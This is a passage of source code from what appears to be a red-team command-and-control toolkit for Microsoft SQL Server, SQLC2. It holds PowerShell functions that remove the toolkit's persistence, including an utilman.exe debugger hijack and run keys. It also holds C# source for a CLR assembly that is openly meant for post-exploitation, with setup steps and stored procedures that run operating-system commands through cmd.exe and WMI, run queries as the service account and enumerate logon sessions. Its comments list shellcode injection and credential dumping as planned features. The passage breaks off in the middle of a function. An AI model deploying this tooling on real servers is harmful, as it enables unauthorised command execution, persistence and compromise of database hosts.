2424 | [switch]$SuppressVerbose 2425 | ) 2426 | 2427 | Begin 2428 | { 2429 | Write-Verbose "Attempting to remove the SQLC2 persistence methods." 2430 | } 2431 | 2432 | Process 2433 | { 2434 | # Remove the schedule tasks 2435 | Write-Verbose "Remove Scheduled Task." 2436 | if((Get-ScheduledTask -TaskName "SQLC2AgentPS*" | Measure-Object | Select Count -ExpandProperty Count) -eq 1) 2437 | { 2438 | try{ 2439 | Unregister-ScheduledTask -TaskName "SQLC2AgentPS" -Confirm:$false 2440 | Write-Verbose " - Scheduled task removed." 2441 | }catch{ 2442 | Write-Verbose " - Task could not be removed." 2443 | } 2444 | }else{ 2445 | Write-Verbose " - SQLC2PS Scheduled task does not exist." 2446 | } 2447 | 2448 | <# 2449 | # Remove the WMI subscription 2450 | Write-Verbose "Remove WMI Subscription." 2451 | 2452 | # Remove WMI Filter 2453 | # Write-Verbose " - Checking for filter." 2454 | if((Get-WmiObject -Namespace root/subscription -Class __EventFilter | where name -like “*SQLC2PS_Filter*”).count -eq 1) 2455 | { 2456 | Write-Verbose " - Removing SQLC2AgentPS WMI filter." 2457 | Get-WmiObject -Namespace root/subscription -Class __EventFilter | where name -like “*SQLC2AgentPS_Filter*” | Remove-WmiObject 2458 | }else{ 2459 | Write-Verbose " - SQLC2AgentPS WMI filter does not exist." 2460 | } 2461 | 2462 | # Remove WMI Consumer 2463 | # Write-Verbose " - Checking for consumer." 2464 | if((Get-WmiObject -Namespace root/subscription -Class __EventConsumer | where name -like “SQLC2AgentPS_Consumer*”).count -eq 1) 2465 | { 2466 | Write-Verbose " - Removing SQLC2AgentPS WMI consumer." 2467 | Get-WmiObject -Namespace root/subscription -Class __EventConsumer | where name -like “SQLC2AgentPS_Consumer*” | Remove-WmiObject 2468 | }else{ 2469 | Write-Verbose " - SQLC2AgentPS WMI consumer does not exist." 2470 | } 2471 | 2472 | # Remove WMI Binding 2473 | # Write-Verbose " - Checking for binding." 2474 | if((Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | where name -like “*SQLC2AgentPS_Binding*”).count -eq 1) 2475 | { 2476 | Write-Verbose " - Removing SQLC2AgentPS WMI binding." 2477 | Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | where name -like “*SQLC2AgentPS_Binding*” | Remove-WmiObject 2478 | }else{ 2479 | Write-Verbose " - SQLC2AgentPS WMI binding does not exist." 2480 | } 2481 | #> 2482 | 2483 | # Remove the registry run keys 2484 | Write-Verbose "Remove registry run keys." 2485 | try{ 2486 | Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction Stop | Out-Null 2487 | Remove-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction SilentlyContinue | Out-Null 2488 | Write-Verbose " - Registry run keys removed." 2489 | }catch{ 2490 | Write-Verbose " - SQLC2AgentPS run registry key does not exist." 2491 | } 2492 | 2493 | # Remove utilman.exe debugger from registry 2494 | Write-Verbose "Remove utilman.exe debugger registry keys." 2495 | if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\") 2496 | { 2497 | try{ 2498 | Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" 2499 | Write-Verbose " - Utilman.exe debugger registry keys removed." 2500 | }catch{ 2501 | Write-Verbose " - Unable to remove registry key HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe." 2502 | } 2503 | }else{ 2504 | Write-Verbose " - SQLC2AgentPS utilman.exe debugger registry key does not exist." 2505 | } 2506 | 2507 | # Remove payload from registry 2508 | Write-Verbose "Remove payload registry keys." 2509 | if(Test-Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\) 2510 | { 2511 | try{ 2512 | Remove-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ 2513 | Write-Verbose " - Registry keys removed." 2514 | }catch{ 2515 | Write-Verbose " - Unable to remove registry key HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\." 2516 | } 2517 | }else{ 2518 | Write-Verbose " - SQLC2AgentPS payload registry key does not exist." 2519 | } 2520 | } 2521 | 2522 | End 2523 | { 2524 | } 2525 | } 2526 | 2527 | 2528 | # ---------------------------------- 2529 | # Uninstall-SQLC2AgentLink 2530 | # ---------------------------------- 2531 | # Author: Scott Sutherland 2532 | Function Uninstall-SQLC2AgentLink 2533 | { 2534 | <# 2535 | .SYNOPSIS 2536 | This command removes the C2 server link and agent job from the agent SQL Server. 2537 | .PARAMETER Username 2538 | SQL Server or domain account to authenticate with. 2539 | .PARAMETER Password 2540 | SQL Server or domain account password to authenticate with. 2541 | .PARAMETER Credential 2542 | SQL Server credential. 2543 | .PARAMETER Instance 2544 | The instance of the C2 link agent. 2545 | .EXAMPLE 2546 | PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Password 'MyPassword123!' 2547 | .EXAMPLE 2548 | PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" 2549 | #> 2550 | [CmdletBinding()] 2551 | Param( 2552 | [Parameter(Mandatory = $false, 2553 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 2554 | [string]$Username, 2555 | 2556 | [Parameter(Mandatory = $false, 2557 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 2558 | [string]$Password, 2559 | 2560 | [Parameter(Mandatory = $false, 2561 | HelpMessage = 'Windows credentials.')] 2562 | [System.Management.Automation.PSCredential] 2563 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 2564 | 2565 | [Parameter(Mandatory = $false, 2566 | ValueFromPipelineByPropertyName = $true, 2567 | HelpMessage = 'SQL Server instance to connection to.')] 2568 | [string]$Instance, 2569 | 2570 | [Parameter(Mandatory = $false, 2571 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 2572 | [switch]$SuppressVerbose 2573 | ) 2574 | 2575 | Begin 2576 | { 2577 | # Create data tables for output 2578 | $TblResults = New-Object -TypeName System.Data.DataTable 2579 | 2580 | if($ServerName){ 2581 | $ServerFilter = "WHERE servername like '$ServerName'" 2582 | }else{ 2583 | $ServerFilter = "" 2584 | } 2585 | } 2586 | 2587 | Process 2588 | { 2589 | # Parse computer name from the instance 2590 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 2591 | 2592 | # Default connection to local default instance 2593 | if(-not $Instance) 2594 | { 2595 | $Instance = $env:COMPUTERNAME 2596 | } 2597 | 2598 | # Test connection to instance 2599 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 2600 | $_.Status -eq 'Accessible' 2601 | } 2602 | if($TestConnection) 2603 | { 2604 | if( -not $SuppressVerbose) 2605 | { 2606 | Write-Verbose -Message "$Instance : Connection Success." 2607 | Write-Verbose "$instance : Attempting to remove the C2 link agent on $Instance." 2608 | } 2609 | } 2610 | else 2611 | { 2612 | if( -not $SuppressVerbose) 2613 | { 2614 | Write-Verbose -Message "$Instance : Connection Failed." 2615 | } 2616 | return 2617 | } 2618 | 2619 | # Setup query 2620 | $Query = " 2621 | -- Remove server link to SQL C2 Server 2622 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'SQLC2Server') = 1 2623 | exec sp_dropserver 'SQLC2Server', 'droplogins'; 2624 | else 2625 | select 'The server link does not exist.' 2626 | 2627 | -- Remove C2 agent job 2628 | IF (SELECT count(*) FROM [msdb].[dbo].[sysjobs] job WHERE name like 'SQLC2 Agent Job') = 1 2629 | EXEC msdb..sp_delete_job @job_name = N'SQLC2 Agent Job' ; 2630 | else 2631 | select 'The agent job does not exist.'" 2632 | 2633 | # Execute Query 2634 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 2635 | } 2636 | 2637 | End 2638 | { 2639 | Write-Verbose "$instance : Done." 2640 | } 2641 | } 2642 | 2643 | 2644 | # ---------------------------------- 2645 | # Uninstall-SQLC2Server 2646 | # ---------------------------------- 2647 | # Author: Scott Sutherland 2648 | Function Uninstall-SQLC2Server 2649 | { 2650 | <# 2651 | .SYNOPSIS 2652 | This command removes the C2 related tables on the C2 SQL Server. 2653 | .PARAMETER Instance 2654 | C2 SQL Server instance. 2655 | .PARAMETER Username 2656 | SQL Server or domain account to authenticate with. 2657 | .PARAMETER Password 2658 | SQL Server or domain account password to authenticate with. 2659 | .PARAMETER Credential 2660 | SQL Server credential. 2661 | .EXAMPLE 2662 | PS C:\> Uninstall-SQLC2Server -Verbose -Instance "mysqlserver.database.windows.net" -Database Database1 -Username sa -Password 'MyPassword123!' 2663 | .EXAMPLE 2664 | PS C:\> Uninstall-SQLC2Server -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Database Database1 2665 | #> 2666 | [CmdletBinding()] 2667 | Param( 2668 | 2669 | [Parameter(Mandatory = $false, 2670 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 2671 | [string]$Username, 2672 | 2673 | [Parameter(Mandatory = $false, 2674 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 2675 | [string]$Password, 2676 | 2677 | [Parameter(Mandatory = $false, 2678 | HelpMessage = 'Windows credentials.')] 2679 | [System.Management.Automation.PSCredential] 2680 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 2681 | 2682 | [Parameter(Mandatory = $false, 2683 | ValueFromPipelineByPropertyName = $true, 2684 | HelpMessage = 'SQL Server instance to connection to.')] 2685 | [string]$Instance, 2686 | 2687 | [Parameter(Mandatory = $false, 2688 | ValueFromPipelineByPropertyName = $true, 2689 | HelpMessage = 'SQL Server database used to store the C2 tables.')] 2690 | [string]$Database, 2691 | 2692 | [Parameter(Mandatory = $false, 2693 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 2694 | [switch]$SuppressVerbose 2695 | ) 2696 | 2697 | Begin 2698 | { 2699 | } 2700 | 2701 | Process 2702 | { 2703 | # Parse computer name from the instance 2704 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 2705 | 2706 | # Default connection to local default instance 2707 | if(-not $Instance) 2708 | { 2709 | $Instance = $env:COMPUTERNAME 2710 | } 2711 | 2712 | # Test connection to instance 2713 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 2714 | $_.Status -eq 'Accessible' 2715 | } 2716 | if($TestConnection) 2717 | { 2718 | if( -not $SuppressVerbose) 2719 | { 2720 | Write-Verbose -Message "$Instance : Connection Success." 2721 | Write-Verbose "$instance : Attempting to remove the C2 tables from $Database database on $Instance." 2722 | } 2723 | } 2724 | else 2725 | { 2726 | if( -not $SuppressVerbose) 2727 | { 2728 | Write-Verbose -Message "$Instance : Connection Failed." 2729 | } 2730 | return 2731 | } 2732 | 2733 | # Setup query to grab commands 2734 | $Query = " 2735 | 2736 | -- Remove command table 2737 | IF(SELECT count(*) FROM [INFORMATION_SCHEMA].[TABLES] WHERE TABLE_NAME like 'C2COMMANDS') = 1 2738 | DROP TABLE C2COMMANDS 2739 | ELSE 2740 | SELECT 'C2COMMANDS table does not exist.' 2741 | 2742 | -- Remove agent table 2743 | IF(SELECT count(*) FROM [INFORMATION_SCHEMA].[TABLES] WHERE TABLE_NAME like 'C2AGENTS') = 1 2744 | DROP TABLE C2AGENTS 2745 | ELSE 2746 | SELECT 'C2AGENTS table does not exist.'" 2747 | 2748 | # Execute Query 2749 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 2750 | if(($TblResults | Measure-Object | Select count -ExpandProperty count) -eq 1){ 2751 | Write-Verbose -Message "$Instance : C2 tables did not exist." 2752 | } 2753 | } 2754 | 2755 | End 2756 | { 2757 | Write-Verbose "$instance : Please note that any databases create with have to be removed manually." 2758 | Write-Verbose "$instance : Done." 2759 | } 2760 | } 2761 | -------------------------------------------------------------------------------- /csharp/sqlc2cmds.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Author: Scott Sutherland, NetSPI (2018) 4 | Application: SQLC2CMDS.dll 5 | Version: 1.4 6 | Description: 7 | 8 | This .net DLL is intended to be imported into SQL Server and used during post exploitation activies. 9 | However, it could also be used for legitimite purposes. Long term this is intended to be the core 10 | set of functions used by the SQLC2 project being roled into PowerUpSQL. 11 | 12 | It currently supports: 13 | * TSQL queries as current user 14 | * TSQL queries as the service account (implicitly sysadmin) 15 | * Executing commands via C# wrapper / WMI 16 | * Read/Write/Remove text files 17 | * Encryption/Decryption of strings using AES 18 | 19 | Pending functions: 20 | * Read/Write binary files 21 | * Read/Write to registry 22 | * Run powershell commands without powershell.exe 23 | * Modify query functions too accept remote server target 24 | * Shellcode injection 25 | * Dumping LSA Secrets 26 | * POST/GET data from a remote web server 27 | * Download and execute script from a web server 28 | * Upload / Download file functions for SQLC2 29 | 30 | Additional Instructions: 31 | 32 | 1. Compile the DLL. Below is an example. However, be aware that this we written and testing using the .net 4 CLR. 33 | For more information on CLR versions visit: https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies 34 | 35 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /Reference:C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll SQLC2CMDS.cs 36 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library SQLC2CMDS.cs 37 | 38 | 2. Enale CLR on the server and select the MSDB database. MSDB data base is flagged as trustworthy by default which is a requirement for using CLRs in SQL Server. 39 | 40 | -- Select the msdb database 41 | use msdb 42 | 43 | -- Enable show advanced options on the server 44 | sp_configure 'show advanced options',1 45 | RECONFIGURE 46 | GO 47 | 48 | -- Enable clr on the server 49 | sp_configure 'clr enabled',1 50 | RECONFIGURE 51 | GO 52 | 53 | 3. As a sysadmin import SQLC2CMDS.dll. 54 | 55 | -- Import the assembly 56 | CREATE ASSEMBLY SQLC2CMDS 57 | FROM 'c:\temp\SQLC2CMDS.dll' 58 | WITH PERMISSION_SET = UNSAFE; 59 | 60 | 4. Import required library. 61 | 62 | -- Load dependency 63 | CREATE ASSEMBLY [System.Management] AUTHORIZATION dbo 64 | FROM 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll' 65 | WITH PERMISSION_SET = UNSAFE 66 | 67 | 4. Map the SQLC2CMDS to stored procedures. 68 | 69 | CREATE PROCEDURE [dbo].[run_query] @execTsql NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_query]; 70 | GO 71 | CREATE PROCEDURE [dbo].[run_query2] @execTsql NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_query2]; 72 | GO 73 | CREATE PROCEDURE [dbo].[run_command] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_command]; 74 | GO 75 | CREATE PROCEDURE [dbo].[run_command_wmi] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_command_wmi]; 76 | GO 77 | CREATE PROCEDURE [dbo].[run_shellcode] @execShellcode NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_shellcode]; 78 | GO 79 | CREATE PROCEDURE [dbo].[write_file] @filePath NVARCHAR (4000),@fileContent NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[write_file]; 80 | GO 81 | CREATE PROCEDURE [dbo].[read_file] @filePath NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[read_file]; 82 | GO 83 | CREATE PROCEDURE [dbo].[remove_file] @filePath NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[remove_file]; 84 | GO 85 | CREATE PROCEDURE [dbo].[EncryptThis] @MyString NVARCHAR (4000),@MyKey NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[EncryptThis]; 86 | GO 87 | CREATE PROCEDURE [dbo].[DecryptThis] @MyString NVARCHAR (4000),@MyKey NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[DecryptThis]; 88 | GO 89 | CREATE PROCEDURE [dbo].[run_getusercon] AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_getusercon]; 90 | GO 91 | CREATE PROCEDURE [dbo].[run_getprocs] AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_getprocs]; 92 | GO 93 | 94 | 5. Run tests for each of the available stored procedure. 95 | 96 | -- Runs as the current user 97 | run_query 'select system_user' 98 | run_query 'select * from master..sysdatabases' 99 | 100 | -- Runs as the service account 101 | run_query2 'select system_user' 102 | run_query2 'select * from master..sysdatabases' 103 | 104 | -- Runs with output 105 | run_command 'whoami' 106 | 107 | -- Runs without output 108 | run_command_wmi 'c:\windows\system32\cmd.exe /c "whoami > c:\temp\doit1.txt"' 109 | 110 | -- Write text to a file 111 | write_file 'c:\temp\blah21.txt','stuff2' 112 | 113 | -- Read text from a file 114 | read_file 'c:\temp\blah21.txt' 115 | 116 | -- Remove a file 117 | remove_file 'c:\temp\blah21.txt' 118 | 119 | -- Encrypt a string with provided key 120 | encryptthis 'hello','password' 121 | 122 | -- Decrypt an encrypted string with provided key 123 | decryptthis 'EAAAAIUSQtbiDvP3c8L/fuNoQ8q/zUwMD8Cd/UbCmiVnopTX','password' 124 | 125 | -- run with no parameters, and shows logon sessions 126 | run_getusercon 127 | 128 | -- run with no parameters, and shows logon sessions 129 | run_getprocs 130 | 131 | 5. Remove all added stored procedures and the SQLC2CMDS assembly. 132 | 133 | drop procedure run_query 134 | drop procedure run_query2 135 | drop procedure run_command 136 | drop procedure run_command_wmi 137 | drop procedure run_shellcode 138 | drop procedure write_file 139 | drop procedure read_file 140 | drop procedure remove_file 141 | drop procedure encryptthis 142 | drop procedure decryptthis 143 | run_getusercon 144 | drop procedure run_getprocs 145 | drop assembly SQLC2CMDS 146 | */ 147 | 148 | using System; 149 | using System.Collections; 150 | using System.Collections.Generic; 151 | using System.Collections.ObjectModel; 152 | using System.Data; 153 | using System.Data.SqlClient; 154 | using System.Data.SqlTypes; 155 | using System.Diagnostics; 156 | using System.IO; 157 | using System.Linq; 158 | using System.Management; 159 | using System.Reflection; 160 | using System.Runtime.InteropServices; 161 | using System.Security.Cryptography; 162 | using System.Text; 163 | using System.Threading.Tasks; 164 | using Microsoft.SqlServer.Server; 165 | 166 | 167 | 168 | // -------------------------------------------------- 169 | // Class for converting clr system.type to sqldbtype 170 | // Source: https://stackoverflow.com/questions/35745226/net-system-type-to-sqldbtype 171 | // -------------------------------------------------- 172 | public static class SqlHelper 173 | { 174 | private static Dictionary typeMap; 175 | 176 | // Create and populate the dictionary in the static constructor in mappings may be wrong 177 | static SqlHelper() 178 | { 179 | typeMap = new Dictionary(); 180 | 181 | typeMap[typeof(string)] = SqlDbType.NVarChar; 182 | typeMap[typeof(char[])] = SqlDbType.NVarChar; 183 | typeMap[typeof(byte)] = SqlDbType.TinyInt; 184 | typeMap[typeof(byte[])] = SqlDbType.Image; 185 | //typeMap[typeof(sbyte)] = SqlDbType.TinyInt; - not sure of sqldbtype 186 | //typeMap[typeof(ushort)] = SqlDbType.TinyInt; - not sure of sqldbtype 187 | //typeMap[typeof(uint)] = SqlDbType.TinyInt; - not sure of sqldbtype 188 | //typeMap[typeof(ulong)] = SqlDbType.TinyInt; - not sure of sqldbtype 189 | //typeMap[typeof(DateSpan)] = SqlDbType.TinyInt; - not sure of sqldbtype 190 | typeMap[typeof(short)] = SqlDbType.SmallInt; 191 | typeMap[typeof(int)] = SqlDbType.Int; 192 | typeMap[typeof(long)] = SqlDbType.BigInt; 193 | typeMap[typeof(bool)] = SqlDbType.Bit; 194 | typeMap[typeof(DateTime)] = SqlDbType.DateTime2; 195 | typeMap[typeof(DateTimeOffset)] = SqlDbType.DateTimeOffset; 196 | typeMap[typeof(decimal)] = SqlDbType.Money; 197 | typeMap[typeof(float)] = SqlDbType.Real; 198 | typeMap[typeof(double)] = SqlDbType.Float; 199 | typeMap[typeof(TimeSpan)] = SqlDbType.Time; 200 | } 201 | 202 | // Non-generic argument-based method 203 | public static SqlDbType GetDbType(Type giveType) 204 | { 205 | // Allow nullable types to be handled 206 | giveType = Nullable.GetUnderlyingType(giveType) ?? giveType; 207 | 208 | if (typeMap.ContainsKey(giveType)) 209 | { 210 | return typeMap[giveType]; 211 | } 212 | 213 | throw new ArgumentException("is not a supported .NET class"); 214 | } 215 | 216 | // Generic version 217 | public static SqlDbType GetDbType() 218 | { 219 | return GetDbType(typeof(T)); 220 | } 221 | } 222 | 223 | 224 | // -------------------------------------------------- 225 | // Class for most of the SQLC2CMDS stored procedures 226 | // -------------------------------------------------- 227 | public partial class StoredProcedures 228 | { 229 | 230 | ////////////////////////////////////////////////////////////////////////////////////////////////////// 231 | // Common functions ////////////////////////////////////////////////////////////////////////////////// 232 | ////////////////////////////////////////////////////////////////////////////////////////////////////// 233 | 234 | // -------------------------------------------------- 235 | // Function - run_query 236 | // -------------------------------------------------- 237 | // https://msdn.microsoft.com/en-us/library/9197xfyw(v=vs.110).aspx 238 | // https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnectionstringbuilder(v=vs.110).aspx 239 | // No error handling when object does not exist 240 | [Microsoft.SqlServer.Server.SqlProcedure] 241 | public static void run_query(SqlString execTsql) 242 | { 243 | // Run as calling SQL/Windows login 244 | using (SqlConnection connection = new SqlConnection("context connection=true")) 245 | { 246 | connection.Open(); 247 | SqlCommand command = new SqlCommand(execTsql.ToString(), connection); 248 | SqlContext.Pipe.ExecuteAndSend(command); 249 | connection.Close(); 250 | } 251 | } 252 | 253 | // -------------------------------------------------- 254 | // Function - run_query2 255 | // -------------------------------------------------- 256 | // https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqldatareader(v=vs.80).aspx 257 | // https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/retrieving-data-using-a-datareader 258 | // https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.server.sqldatarecord(v=vs.110).aspx 259 | // http://sharpfellows.com/post/Returning-a-DataTable-over-SqlContextPipe 260 | // https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqldatareader.getvalues(v=vs.110).aspx 261 | // Need to add auto identification of the current instance. 262 | // No error handling when object does not exist. Need to add variables so it can be used as an alternative to ad-hoc queries. 263 | [Microsoft.SqlServer.Server.SqlProcedure] 264 | public static void run_query2(SqlString execTsql) 265 | { 266 | 267 | // user connection string builder here, accept query, server, current, user, password - execute as system by default, accept windows creds, sql creds 268 | 269 | // Connection string 270 | using (SqlConnection connection = new SqlConnection(@"Data Source=MSSQLSRV04\SQLSERVER2014;Initial Catalog=master;Integrated Security=True")) 271 | { 272 | connection.Open(); 273 | SqlCommand command = new SqlCommand(execTsql.ToString(), connection); 274 | command.CommandTimeout = 240; 275 | SqlDataReader reader = command.ExecuteReader(); 276 | 277 | // Create List for Columns 278 | List OutputColumns = new List(reader.FieldCount); 279 | 280 | // Get schema 281 | DataTable schemaTable = reader.GetSchemaTable(); 282 | 283 | // Get column names, types, and sizes from reader 284 | for (int i = 0; i < reader.FieldCount; i++) 285 | { 286 | // Check if char and string types 287 | if (typeof(char).Equals(reader.GetFieldType(i)) || typeof(string).Equals(reader.GetFieldType(i))) 288 | { 289 | SqlMetaData OutputColumn = new SqlMetaData(reader.GetName(i), SqlHelper.GetDbType(reader.GetFieldType(i)), 4000); 290 | OutputColumns.Add(OutputColumn); 291 | } 292 | else 293 | { 294 | 295 | // Anything other type 296 | SqlMetaData OutputColumn = new SqlMetaData(reader.GetName(i), SqlHelper.GetDbType(reader.GetFieldType(i))); 297 | OutputColumns.Add(OutputColumn); 298 | } 299 | } 300 | 301 | // Create the record and specify the metadata for the columns. 302 | SqlDataRecord record = new SqlDataRecord(OutputColumns.ToArray()); 303 | 304 | // Mark the begining of the result-set. 305 | SqlContext.Pipe.SendResultsStart(record); 306 | 307 | // Check for rows 308 | if (reader.HasRows) 309 | { 310 | while (reader.Read()) 311 | { 312 | // Iterate through column count, set value for each column in row 313 | for (int i = 0; i < reader.FieldCount; i++) 314 | { 315 | // Add value to the current row/column 316 | record.SetValue(i, reader[i]); 317 | } 318 | 319 | // Send the row back to the client. 320 | SqlContext.Pipe.SendResultsRow(record); 321 | } 322 | 323 | } 324 | else 325 | { 326 | 327 | // Set values for each column in the row 328 | record.SetString(0, "No rows found."); 329 | 330 | // Send the row back to the client. 331 | SqlContext.Pipe.SendResultsRow(record); 332 | } 333 | 334 | // Mark the end of the result-set. 335 | SqlContext.Pipe.SendResultsEnd(); 336 | 337 | connection.Close(); 338 | } 339 | } 340 | 341 | // -------------------------------------------------- 342 | // Function - run_command 343 | // -------------------------------------------------- 344 | [Microsoft.SqlServer.Server.SqlProcedure] 345 | public static void run_command(SqlString execCommand) 346 | { 347 | Process proc = new Process(); 348 | proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; 349 | proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); 350 | proc.StartInfo.UseShellExecute = false; 351 | proc.StartInfo.RedirectStandardOutput = true; 352 | proc.Start(); 353 | 354 | // Create the record and specify the metadata for the columns. 355 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); 356 | 357 | // Mark the begining of the result-set. 358 | SqlContext.Pipe.SendResultsStart(record); 359 | 360 | // Set values for each column in the row 361 | record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); 362 | 363 | // Send the row back to the client. 364 | SqlContext.Pipe.SendResultsRow(record); 365 | 366 | // Mark the end of the result-set. 367 | SqlContext.Pipe.SendResultsEnd(); 368 | 369 | proc.WaitForExit(); 370 | proc.Close(); 371 | } 372 | 373 | 374 | // -------------------------------------------------- 375 | // Function - run_getusercon 376 | // -------------------------------------------------- 377 | [StructLayout(LayoutKind.Sequential)] 378 | public struct SESSION_INFO_10 379 | { 380 | [MarshalAs(UnmanagedType.LPWStr)] public string OriginatingHost; 381 | [MarshalAs(UnmanagedType.LPWStr)] public string DomainUser; 382 | public uint SessionTime; 383 | public uint IdleTime; 384 | } 385 | 386 | [DllImport("netapi32.dll", CharSet = CharSet.Unicode)] 387 | public static extern int NetSessionEnum 388 | ( 389 | string srvName, 390 | string cltName, 391 | string usrName, 392 | int level, 393 | out IntPtr bufPtr, 394 | int prefmaxlen, 395 | out int entriesread, 396 | out int totalentries, 397 | ref IntPtr resume_handle 398 | ); 399 | 400 | ///NetApiBufferFree 401 | [DllImport("netapi32.dll", ExactSpelling = true)] 402 | public extern static int NetApiBufferFree(IntPtr bufptr); 403 | 404 | ///ERROR_MORE_DATA 405 | public const int ERROR_MORE_DATA = 234; 406 | 407 | [Microsoft.SqlServer.Server.SqlProcedure] 408 | public static void run_getusercon() 409 | { 410 | int read, total, s; 411 | IntPtr ptr, rhandle = IntPtr.Zero; 412 | Type typ = typeof(SESSION_INFO_10); 413 | int size = Marshal.SizeOf(typ); 414 | SESSION_INFO_10 si; 415 | s = NetSessionEnum("127.0.0.1", "", "", 10, out ptr, -1, out read, out total, ref rhandle); 416 | 417 | long run = (long)ptr; 418 | // Create the record and specify the metadata for the columns. 419 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("SourceHost", SqlDbType.NVarChar, 4000), 420 | new SqlMetaData("DomainUser", SqlDbType.NVarChar, 4000), 421 | new SqlMetaData("SessionTime", SqlDbType.NVarChar, 4000), 422 | new SqlMetaData("IdleTime", SqlDbType.NVarChar, 4000)); 423 | 424 | // Mark the begining of the result-set. 425 | SqlContext.Pipe.SendResultsStart(record); 426 | 427 | for (int i = 0; i < read; i++) 428 | { 429 | 430 | 431 | 432 | // Convert data from memory into the data structure 433 | si = (SESSION_INFO_10)Marshal.PtrToStructure((IntPtr)run, typ); 434 | 435 | // Set values for each column in the row using the structure 436 | record.SetString(0, si.OriginatingHost); 437 | record.SetString(1, si.DomainUser); 438 | record.SetString(2, si.SessionTime.ToString()); 439 | record.SetString(3, si.IdleTime.ToString()); 440 | 441 | // Send the row back to the client. 442 | SqlContext.Pipe.SendResultsRow(record); 443 | 444 | 445 | 446 | run += size; 447 | 448 | } 449 | 450 | // Mark the end of the result-set. 451 | SqlContext.Pipe.SendResultsEnd(); 452 | NetApiBufferFree(ptr); 453 | ptr = IntPtr.Zero; 454 | 455 | } 456 | 457 | 458 | // -------------------------------------------------- 459 | // Function - run_getprocs 460 | // -------------------------------------------------- 461 | public static void run_getprocs() 462 | { 463 | 464 | try 465 | { 466 | ManagementObjectSearcher searcher = new ManagementObjectSearcher("root\\CIMV2","SELECT * FROM Win32_Process"); 467 | 468 | // Create the record and specify the metadata for the columns. 469 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("ParentProcessId", SqlDbType.NVarChar, 4000), 470 | new SqlMetaData("ProcessId", SqlDbType.NVarChar, 4000), 471 | new SqlMetaData("Name", SqlDbType.NVarChar, 4000)); 472 | 473 | // Mark the begining of the result-set. 474 | SqlContext.Pipe.SendResultsStart(record); 475 | 476 | foreach (ManagementObject queryObj in searcher.Get()) 477 | { 478 | 479 | string parentprocessid = 